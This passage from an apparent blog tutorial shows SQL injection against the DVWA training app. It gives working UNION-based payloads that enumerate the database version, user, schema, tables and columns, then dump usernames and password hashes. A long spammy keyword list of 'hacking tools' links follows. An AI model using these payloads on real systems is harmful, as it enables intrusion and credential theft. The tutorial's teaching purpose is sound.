SELECT first_name, sur_name FROM users WHERE user_id = '1';
SELECT first_name, sur_name FROM users WHERE user_id = ''';
'-- -
or
'#
we should get no error. Now our crafted query looks like this:
SELECT first_name, sur_name FROM users WHERE user_id = ''-- -';
SELECT first_name, sur_name FROM users WHERE user_id = ''#';
First of all we will try to determine the number of columns that the query outputs because if we try a query which will output the number of columns greater or smaller than what the original query outputs then our query is going to get an error. So we will first figure out the exact number of columns that the query outputs and we will do that with the help of order by sql statement like this:
' order by 1-- -
SELECT first_name, sur_name FROM users WHERE user_id = '' order by 1-- -';
if we don't get any error message, we will increase the number to 2 like this:
' order by 2-- -
' order by 3-- -
' union select null, version()-- -
We have used null as one column since we need to match the number of columns from the server query which is two. null will act as a dummy column here which will give no output and the second column which in our case here is the version() command will output the database version. Notice the output from the application, nothing is shown for First name since we specified null for it and the maria db version will be displayed in Surname.
Now lets check who the database user is using the user() function of mariadb:
' union select null, user()-- -
Now lets get some information about the databases in the database.
Lets determine the names of databases from INFORMATION_SCHEMA.SCHEMATA by entering following input in the User ID field:
' union select null, SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA-- -
Get table names for dvwa database from INFORMATION_SCHEMA.TABLES
' union select null, TABLE_NAME from INFORMATION_SCHEMA.TABLES-- -
' union select null, COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users'-- -
We can see the password column in the output now lets get those passwords:
' union select user, password from users-- -
Hope you learned something about SQL injection in this article. See you next time.
References:
1. SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection2. MySQL UNION: https://www.mysqltutorial.org/sql-union-mysql.aspx
3. Chapter 25 INFORMATION_SCHEMA Tables: https://dev.mysql.com/doc/refman/8.0/en/information-schema.html
More information
- Pentest Tools Find Subdomains
- Hacking Tools Pc
- Hacking Tools Download
- Blackhat Hacker Tools
- Pentest Tools For Windows
- Pentest Tools Apk
- Hack Tools Download
- Pentest Tools For Mac
- Pentest Automation Tools
- Pentest Tools Website
- Android Hack Tools Github
- Hacker Tools Software
- Hacking Tools For Beginners
- Hack Tool Apk
- Hacker Tool Kit
- Hacker Tools Hardware
- Hack Tools For Ubuntu
- Pentest Tools Nmap
- Hak5 Tools
- Bluetooth Hacking Tools Kali
- Hacking Tools Free Download
- Hack Tools Pc
- Hacking Tools Windows
- Hacker Tools Apk Download
- Hack Apps
- Hacker Tools Hardware
- Hacker Tools For Pc
- Hacks And Tools
- New Hacker Tools
- Hack Tools For Games
- Hack Tools Download
- Hacker Tools For Mac
- Hacking Apps
- Hack App
- Nsa Hack Tools
- Hacking Tools For Pc
- Hack Tool Apk No Root
- Hack Tools Download
- Android Hack Tools Github
- Pentest Tools Review
- Pentest Tools Download
- Hack Tools For Mac
- Android Hack Tools Github
- Hacker
- Hacker Hardware Tools
- Hacker Tools Linux
- Hacker Tools For Windows
- Hack App
- Hacking App
- Pentest Tools Open Source
- Hack App
- Best Hacking Tools 2019
- Hacking Tools For Pc
- Github Hacking Tools
- Hacking App
- Computer Hacker
- Hacker Security Tools
- Usb Pentest Tools
- Pentest Tools Subdomain
- Github Hacking Tools
- Pentest Tools Port Scanner
- Bluetooth Hacking Tools Kali
- Hacker Tool Kit
- How To Hack
- Hack Tools For Games
- Nsa Hack Tools
- Hacking Tools Name
- New Hack Tools
- What Is Hacking Tools
- Pentest Tools Github
- Nsa Hacker Tools
- Hacker
- Hack Rom Tools
- Pentest Tools Alternative
- Hacker Tools For Ios
- Beginner Hacker Tools
- Pentest Tools Tcp Port Scanner
- Hack Tool Apk No Root
- Growth Hacker Tools
- Hack Tools For Pc
- Hacker Tools List
- Pentest Automation Tools
- Ethical Hacker Tools
- Best Hacking Tools 2019
- Hacker Hardware Tools
- New Hack Tools
- Pentest Tools Download
- How To Hack
- Pentest Tools Website
- Pentest Tools Kali Linux
- Hack Website Online Tool
- Termux Hacking Tools 2019
- Hack Tools Mac
- Pentest Tools Download
- Black Hat Hacker Tools
- Hackrf Tools
- Hacking Tools Usb
- Hacker Tools 2020
- Hacking Tools For Windows Free Download
- New Hack Tools
- Pentest Automation Tools
- Hack Tools Online
- Pentest Tools Find Subdomains
No comments:
Post a Comment